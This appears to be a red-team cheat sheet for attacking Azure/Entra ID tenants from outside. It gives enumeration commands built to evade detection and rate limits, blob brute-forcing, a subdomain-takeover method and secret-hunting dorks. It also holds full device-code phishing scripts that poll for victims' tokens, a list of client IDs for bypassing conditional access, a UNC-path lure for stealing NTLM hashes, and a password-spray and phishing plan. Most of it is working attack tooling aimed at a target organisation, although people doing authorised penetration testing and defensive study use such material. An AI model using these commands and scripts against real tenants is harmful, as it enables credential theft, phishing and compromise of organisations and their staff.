Purpose: Everything here should work without any access to the target tenant. Lets try to answer as many questions as possible about the environment without authenticated access.
Table of Contents
- Tenant Discovery & Identification
- Domain Enumeration
- User Enumeration
- Public Resource Discovery
- Subdomain Takeover
- Azure IP Address Recon
- GitHub & Source Code Recon
- External Phishing Vectors
- Post-Recon: What To Do Next
- Tools Reference
1. Tenant Discovery & Identification
Goal: Confirm the target uses Azure/Entra ID, get the Tenant ID, determine if it’s managed or federated, and check for Desktop SSO.
OpenID Configuration (Get Tenant ID)
The OpenID discovery endpoint is publicly accessible and returns the Tenant ID, token endpoints, and supported auth methods.
curl -s "https://login.microsoftonline.com/<domain>/.well-known/openid-configuration" | jq
Key fields to note:
tenant_id(from theissuerURL:https://login.microsoftonline.com/<tenant-id>/v2.0)token_endpointauthorization_endpoint
Save the Tenant ID - you’ll need it for almost everything else.
User Realm / Federation Check
Determine if the tenant is managed (cloud-only passwords) or federated (ADFS/third-party IdP), and check for Desktop SSO (Seamless SSO).
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=<anyuser>@<domain.com>" | jq
Key fields:
NameSpaceType:ManagedorFederatedFederationBrandName: The brand name shown on the login pageFederationGlobalUrl: The federated IdP URL (if federated)DesktopSsoEnabled:truemeans Seamless SSO is on - useful for hash-based token attacks later
AADInternals (PowerShell)
Since v0.9.6 (current: v0.9.8), AADInternals is split into two modules:
AADInternals- tenant recon, user enum, token operations. All outsider functions live here.AADInternals-Endpoints- on-device/endpoint attack functions (PTA spy, ADFS, Azure AD join, etc.). Only needed post-compromise on a target device.
For external recon, only the base module is required:
Install-Module -Name "AADInternals" -Force
Import-Module "AADInternals"
# Only needed for on-device post-exploitation techniques:
# Install-Module -Name "AADInternals-Endpoints" -Force
Get Tenant ID from domain:
Get-AADIntTenantID -Domain <domain>
Get login information (managed vs federated, SSO status):
Get-AADIntLoginInformation -Domain <domain>
Public recon as outsider (most complete single command for tenant fingerprinting):
Invoke-AADIntReconAsOutsider -DomainName <domain>
As of AADInternals v0.9.x, this returns:
- Tenant name, Tenant ID, and tenant region
- All verified domains + their authentication type (Managed / Federated)
- Whether Desktop SSO (Seamless SSO) is enabled
- Whether Password Hash Sync is enabled
- Whether Pass-Through Authentication is active
- ADFS relying party details (if
-GetRelayingPartiesswitch used) - CBA (Certificate-Based Auth) configuration
- MDI (Microsoft Defender for Identity) instance presence
- DKIM and MTA-STS mail security records
- Tenant SKU (E3/E5 etc.)
2. Domain Enumeration
Goal: Discover all domains registered to the target tenant.
AADInternals
Get other domains associated with tenant (effectively patched as of mid-June 2025):
Get-AADIntTenantDomains -Domain <domain>
Patched - June 2025
Get-AADIntTenantDomainsrelied on the Exchange OnlineGet-FederationInformationcmdlet, which previously returned all accepted domain names for a tenant unauthenticated. Microsoft patched this in mid-June 2025: theDomainNamesfield now only echoes back the single domain you queried; it no longer enumerates the full list. This technique is effectively dead for multi-domain discovery. Fall back to probing suspected domains individually via the OpenID endpoint (see Section 2).
Prior to the patch, a security researcher snapshotted over 400 million domain and tenant records you can access them here:
https://micahvandeusen.com/tools/tenant-domains/
or by calling the API directly
curl 'https://tenant-api.micahvandeusen.com/search?tenant_id=<TENANTID>'
OpenID With Domain Guessing
If you suspect additional domains (subsidiary.com, target-corp.com), test them against the same tenant:
curl -s "https://login.microsoftonline.com/<suspected-domain>/.well-known/openid-configuration" | jq '.issuer'
If the issuer returns the same Tenant ID, that domain belongs to the same tenant.
Common Naming Patterns to Probe
domain.com
domain.onmicrosoft.com
domaincorp.com
domain-corp.com
domainpartner.com
dev.domain.com
3. User Enumeration
Goal: Determine which email addresses / usernames are valid Azure AD accounts.
OpSec:
The Normal method (GetCredentialType) does not increment sign-in counts. All other methods will log as failed sign-ins.
Enumeration Methods Compared
| Method | Logs as Failed Sign-In? | Reliability |
|---|---|---|
| Normal (GetCredentialType) | No | Works with all tenants - preferred |
| Login (OAuth 2.0) | Yes | Works with all tenants |
| Autologon | Yes | Requires Desktop SSO (Seamless SSO) to be enabled on the tenant |
| RST2 (WS-Trust) | Yes | Works with most tenants, logged |
AADInternals
# Single user - Normal method (stealthy)
Invoke-AADIntUserEnumerationAsOutsider -UserName user@<domain>
# Single user - specify method
Invoke-AADIntUserEnumerationAsOutsider -UserName user@<domain> -Method RST2
# Bulk enumeration from file
Get-Content users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
Usernames are domain-scoped A user like
carlos@domainA.comcannot also becarlos@domainB.comeven if both domains are in the same tenant. Each username is tied to one domain.
AADOutsider-py (Python Alternative)
git clone https://github.com/synacktiv/AADOutsider-py.git
cd AADOutsider-py
# Single user
python3 aadoutsider.py user_enum -m normal -d <domain> user@<domain>
# From file
python3 aadoutsider.py user_enum -m normal -d <domain> -f users.txt
o365spray
git clone https://github.com/0xZDH/o365spray.git
cd o365spray
# Single user (default: office module)
python3 o365spray.py --enum -d <domain> -u <username>
# Bulk (default: office module)
python3 o365spray.py --enum -d <domain> -U users.txt
# Explicit module selection
python3 o365spray.py --enum -d <domain> -U users.txt --enum-module office # default, no auth attempt
python3 o365spray.py --enum -d <domain> -U users.txt --enum-module oauth2 # increments sign-in count
python3 o365spray.py --enum -d <domain> -U users.txt --enum-module onedrive # passive, no auth attempt
Module opsec differences
office(default): querieslogin.microsoftonline.comwith no credential submission - does not increment sign-in countoauth2: submits a token request - does increment sign-in countonedrive: checks if the user has a OneDrive share URL - no auth event at all, fully passive. Note: only works if the user has previously logged into OneDriveautologon/rst: require Seamless SSO or ADFS - increment sign-in count
Rate-limit bypass with FireProx
Microsoft applies IP-based rate limiting. Use FireProx or FlareProx to rotate IPs via AWS API Gateway/Cloudflare:
# Create a FireProx proxy URL, then pass it to o365spray python3 o365spray.py --enum -d <domain> -U users.txt --proxy-url https://<fireprox-id>.execute-api.<region>.amazonaws.com/fireprox/
TeamsEnum
Enumerates valid email addresses via Teams’ presence/user APIs. Requires one valid Teams account (can be your own personal or corporate account). Returns user existence, display name, presence status, and OOO notes for valid users.
git clone https://github.com/lucidra-security/TeamsEnum.git
cd TeamsEnum
pip3 install -r requirements.txt
# Single user - password auth (corporate accounts without MFA)
python3 TeamsEnum.py -a password -u <your-teams-user> -e <target-email> -o output.json
# Single user - device code auth (MFA accounts / personal accounts)
python3 TeamsEnum.py -a devicecode -u <your-teams-user> -e <target-email> -o output.json
# Bulk - password auth
python3 TeamsEnum.py -a password -u <your-teams-user> -f targets.txt -o output.json
Auth method choice:
Use
-a passwordfor corporate accounts without MFA. Use-a devicecodewhen MFA is required or you’re using a personal Microsoft account. Even if the target org blocks external communications, TeamsEnum can still distinguish valid vs invalid users - though it won’t return presence/display name details in that case.
Generating User Lists
Username Anarchy
Generate common email formats
https://github.com/urbanadventurer/username-anarchy
./username-anarchy -i users.txt
Convert to emails
for u in $(cat users.txt)
do
echo $u@<domain.com>
done
4. Public Resource Discovery
Goal: Find publicly accessible Azure resources - storage blobs, web apps, static sites, and other services - belonging to the target.
Azure Service Subdomains to Target
When brute-forcing, look for these Azure service patterns:
| Service | Domain Pattern |
|---|---|
| App Services | <name>.azurewebsites.net |
| Storage Blobs | <name>.blob.core.windows.net |
| Storage Tables | <name>.table.core.windows.net |
| Storage Queues | <name>.queue.core.windows.net |
| Storage Files | <name>.file.core.windows.net |
| CDN | <name>.azureedge.net |
| Azure API Management | <name>.azure-api.net |
| Azure Key Vault | <name>.vault.azure.net |
| Static Web Apps | <name>.<region>.azurestaticapps.net |
| Cloud Services | <name>.cloudapp.net |
| Traffic Manager | <name>.trafficmanager.net |
| Azure SQL | <name>.database.windows.net |
| Azure Container Registry | <name>.azurecr.io |
| Azure Cosmos DB | <name>.documents.azure.com |
cloud_enum
Multi-cloud enumeration tool. Can target Azure, AWS, and GCP simultaneously.
git clone https://github.com/initstring/cloud_enum.git
cd cloud_enum
python3 cloud_enum.py -k <companyname>
python3 cloud_enum.py -k <companyname> -t 15 # increase threads
python3 cloud_enum.py -k <companyname> -kf keyfile.txt # multiple keywords
AzSubEnum
Azure subscription and resource brute-forcer.
git clone https://github.com/yuyudhn/AzSubEnum.git
cd AzSubEnum
# Default wordlist + permutations
python3 azsubenum.py -b <companyname> --thread 10
# Custom wordlist
python3 azsubenum.py -b <companyname> -t 10 -p permutations.txt
basicblobfinder
Brute-force Azure blob storage container names. For when you know the storage account name, but can’t list storage containers.
git clone https://github.com/joswr1ght/basicblobfinder.git
cd basicblobfinder
# Build name list: format is "accountname:containername"
for word in $(cat wordlist.txt); do
echo "<storage_account_name>:$word" >> namelist
done
python3 basicblobfinder.py namelist
Manual Blob Probing
If you know the storage account name (from source code, DNS, or GitHub leaks):
# List containers anonymously (if public access allowed)
curl -s "https://<account>.blob.core.windows.net/?comp=list" | xmllint --format -
# Probe specific container
curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list" | xmllint --format -
# Direct blob access (if you know the path)
curl -sI "https://<account>.blob.core.windows.net/<container>/<blob>"
SAS Token Leaks
Shared Access Signature URLs can be found in GitHub repos, error pages, and public configs. They look like:
https://<account>.blob.core.windows.net/<container>/<blob>?sv=2022-11-02&ss=b&srt=sco&sp=r&se=2026-01-01T00:00:00Z&st=2025-01-01T00:00:00Z&spr=https&sig=<signature>
A valid SAS token grants direct data-plane access to the resource.
5. Subdomain Takeover
Goal: Register an abandoned Azure service subdomain to hijack a company’s CNAME.
How It Works
app.company.com→ CNAME →myapp.azurewebsites.net- The Azure web app
myappwas deleted, but the DNS record remains - Attacker registers
myapp.azurewebsites.netin their own Azure subscription app.company.comnow resolves to the attacker’s infrastructure
Vulnerable Azure Service Domains
azurewebsites.net # App Service / Function Apps
cloudapp.net # VMs, Cloud Services
cloudapp.azure.com # VMs
trafficmanager.net # Traffic Manager
.azurestaticapps.net # Static Web Apps
.azurefd.net # Front Door
.azureedge.net # CDN
.azure-api.net # API Management
Detection
# Find CNAME records pointing to Azure services
dig CNAME <subdomain>.<domain>
# Check if the target Azure subdomain resolves
nslookup <name>.azurewebsites.net
# If CNAME exists but target returns 404 / not found, it may be claimable
curl -sI "https://<name>.azurewebsites.net"
Automated tools:
nuclei -t takeovers/ -l subdomains.txt
Azure Mitigation
Azure is implementing “Secure unique default hostname” which prevents re-registration of previously used subdomains on services like Web Apps. Check before attempting.
6. Azure IP Recon
Goal: Azure information for a target IP address.
curl -s "https://azservicetags.azurewebsites.net/api/iplookup?ipAddresses=<target_ip>" | jq
This returns the region, cloud type, and service associated with the IP.
The most valuable piece of data returned by that API isn’t usually the region, it’s the Service Tag (e.g., AppService, AzureSQL, ApiManagement, Storage).
- If you know an IP belongs to an Azure App Service, your next step might be hunting for exposed
.scm.azurewebsites.net(Kudu) endpoints, checking for subdomain takeovers, or looking for specific PaaS misconfigurations. - if the IP belongs to Azure SQL or an internal Virtual Network Gateway, you instantly know that running standard web vulnerability scanners (like Nikto or Burp active scans) against it is a waste of time and will only generate noise.
7. GitHub & Source Code Recon
Goal: Find leaked credentials, subscription IDs, storage URLs, and other sensitive data in public GitHub repositories.
Regex Patterns for Hunting
# Azure Subscription IDs
/\/subscriptions\/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\//
# Storage Account URLs
/.core.windows.net/
r
# Storage Account Keys (look for in configs)
/AccountKey=[A-Za-z0-9+\/=]{88}/
# SAS Token URLs (have &sig= parameter)
/.core.windows.net.*&sig=/
# Connection Strings
/DefaultEndpointsProtocol=https;AccountName=\w+;AccountKey=/
# Azure AD Client Secrets (approximate)
/[A-Za-z0-9~._-]{34,40}/
# Tenant IDs
/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/
More patterns: https://jaimepolop.github.io/RExpository/
GitHub Search Dorks
org:<company> "blob.core.windows.net"
org:<company> ".vault.azure.net"
org:<company> "AZURE_CLIENT_SECRET"
org:<company> "AZURE_TENANT_ID"
org:<company> "azure-storage"
org:<company> ".azurewebsites.net/api"
org:<company> connectionString
org:<company> "DefaultEndpointsProtocol"
Secret Scanning Tools
gitleaks
Fast and configurable. Good for tokens and keys.
git clone https://github.com/gitleaks/gitleaks.git
cd gitleaks && make build
# Scan a git repo (history + files)
gitleaks git -v --report-path=leaks.json
# Scan a directory (files only)
gitleaks dir . -v --report-path=leaks.json
# Scan via stdin
cat file.txt | gitleaks stdin -v
leakos (Chains multiple tools)
Runs multiple scanners: gitleaks, trufflehog, Rex, noseyparker, ggshield, kingfisher.
# Via Docker
docker pull ghcr.io/carlospolop/leakos:latest
# Scan an entire GitHub organization
docker run -v $(pwd):/output ghcr.io/carlospolop/leakos:latest \
--github-token <YOUR_GITHUB_TOKEN> \
--github-orgs <target_org> \
--json-file /output/results.json
# Scan specific user repos
docker run -v $(pwd):/output ghcr.io/carlospolop/leakos:latest \
--github-token <YOUR_GITHUB_TOKEN> \
--github-users <username> \
--json-file /output/results.json
trufflehog
Good for verified credentials, actually tests if found secrets work.
docker run -it -v "$(pwd):/pwd" trufflesecurity/trufflehog:latest github --org=<org_name> --token=<github_token>
What to Do With Found Items
| Finding | Impact |
|---|---|
| Subscription ID | Needed for ARM API calls if you later get a token |
| Storage Account Key | Full read/write on the storage account |
| SAS Token | Scoped data access to a specific resource |
| Client ID + Secret | Authenticate as a service principal |
| Connection String | Direct database / storage access |
| Tenant ID | Required for all authentication flows |
8. External Phishing Vectors
Goal: Obtain valid credentials or tokens from target users through unauthenticated social engineering techniques. This goes beyond the scope of this cheatsheet but is included for reference.
Device Code Phishing
Device code auth lets you initiate an OAuth flow where the user enters a code on https://microsoft.com/devicelogin. If they complete it, you get access + refresh tokens.
Manuel Methods
Step 1. Request a device code:
Two endpoint versions exist. Both work; v2.0 is the current Microsoft standard. The key difference is resource (v1) vs scope (v2).
# v1.0 endpoint (still works, many tools use this)
curl -s -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com' \
"https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" | jq
# v2.0 endpoint (current standard - uses 'scope' not 'resource')
curl -s -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default' \
"https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" | jq
Response gives you device_code, user_code, and verification_uri. Tell the target to go to https://microsoft.com/devicelogin and enter the user_code.
Step 2. Poll for the token (bash):
Use the token URL that matches the devicecode endpoint you used in Step 1 - v1.0 or v2.0.
#!/bin/bash
device_code="<paste-from-step-1>"
client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"
resource="https://graph.microsoft.com"
token_url="https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0"
# v2.0 alternative: token_url="https://login.microsoftonline.com/Common/oauth2/v2.0/token"
interval=5
expires=900
elapsed=0
echo "Polling for authorization..."
while true; do
sleep "$interval"
elapsed=$((elapsed + interval))
if [ "$elapsed" -gt "$expires" ]; then
echo "Timeout." >&2; exit 1
fi
response=$(curl -sS -X POST "$token_url" \
-d "client_id=$client_id" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
-d "code=$device_code" \
-d "resource=$resource")
error=$(echo "$response" | jq -r '.error')
if [ "$error" = "authorization_pending" ]; then
echo "$error"
elif [ "$error" = "null" ] || [ -z "$error" ]; then
echo "SUCCESS"
echo "$response" | jq
break
else
echo "Error: $(echo "$response" | jq -r '.error_description')" >&2
exit 1
fi
done
Step 2. Poll for the token (PowerShell):
$body = @{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"resource" = "https://graph.microsoft.com"
}
$auth = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" -Body $body
Write-Host "Code: $($auth.user_code)"
Write-Host "Go to: $($auth.verification_uri)"
$body2 = @{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $auth.device_code
"resource" = "https://graph.microsoft.com"
}
do {
Start-Sleep -Seconds $auth.interval
try {
$response = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" -Body $body2
} catch {
$err = $_.ErrorDetails.Message | ConvertFrom-Json
if ($err.error -ne "authorization_pending") { throw }
}
} until ($response)
$response.access_token
Automated Methods
Azure CLI / PowerShell:
az login --use-device-code
Connect-AzAccount -UseDeviceAuthentication
ROADTools
roadrecon auth --device-code
Shorthand URL for accessing devicelogin endpoint
https://aka.ms/devicelogin
Well-Known Client IDs
Different client IDs grant different scopes. Target the one that gives you what you need:
| Application | Client ID | Use Case |
|---|---|---|
| Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 | Broad directory access, best default |
| Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 | Different CA policy triggers |
| Microsoft Office | d3590ed6-52b3-4102-aeff-aad2292ab01c | O365 + Graph access |
| Microsoft Teams | 1fec8e78-bce4-4aaf-ab1b-5451cc387264 | Often bypasses strict CA policies |
| Azure Portal | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | Highly trusted by Entra ID |
Hash theft via UNC path
Many organizations block SMB ingress, but not egress. This allows us to spin up a machine with a public IP and listen with Responder for incoming Net-NTLMv2 hashes.
One possible technique: Convince a user to copy an UNC path into a run box.
\\<publicip>\payroll.docx
- lots of techniques exist for this type of thing.
9. Post-Recon: What To Do Next
With the tenant ID, a list of valid users, discovered public resources (blobs with creds, repos with secrets), we are in a pretty good spot for further exploitation.
- Password spray valid users.
- Phish valid users.
- Identify vulnerabilities in Azure hosted apps.
- Leverage found secrets.
10. Tools Reference
Quick reference for the tools described.
| Tool | Purpose | Install |
|---|---|---|
| AADInternals | Tenant recon, user enum, federation info | https://github.com/Gerenios/AADInternals |
| AADOutsider-py | Python user enum (same as AADInt outsider functions) | github.com/synacktiv/AADOutsider-py |
| o365spray | User enum + password spray for O365 | github.com/0xZDH/o365spray |
| TeamsEnum | Enum users via Teams presence/user API | github.com/lucidra-security/TeamsEnum |
| cloud_enum | Multi-cloud public resource enumeration | github.com/initstring/cloud_enum |
| AzSubEnum | Azure subscription/resource brute-force | github.com/yuyudhn/AzSubEnum |
| basicblobfinder | Blob container name brute-force | github.com/joswr1ght/basicblobfinder |
| ROADtools/roadtx | Azure AD interaction framework (post-auth) | github.com/dirkjanm/ROADtools |
| AzureHound | BloodHound collector for Azure IAM paths | github.com/SpecterOps/AzureHound |
| leakos | Multi-tool GitHub secret scanner | github.com/carlospolop/Leakos |
| gitleaks | Git secret scanning | github.com/gitleaks/gitleaks |
| trufflehog | Secret scanning with credential verification | github.com/trufflesecurity/trufflehog |
| dnsreaper | Subdomain takeover | https://github.com/punk-security/dnsReaper |
| subzy | Subdomain takeover | https://github.com/PentestPad/subzy |
| Nuclei | Phat recon tool | https://github.com/projectdiscovery/nuclei |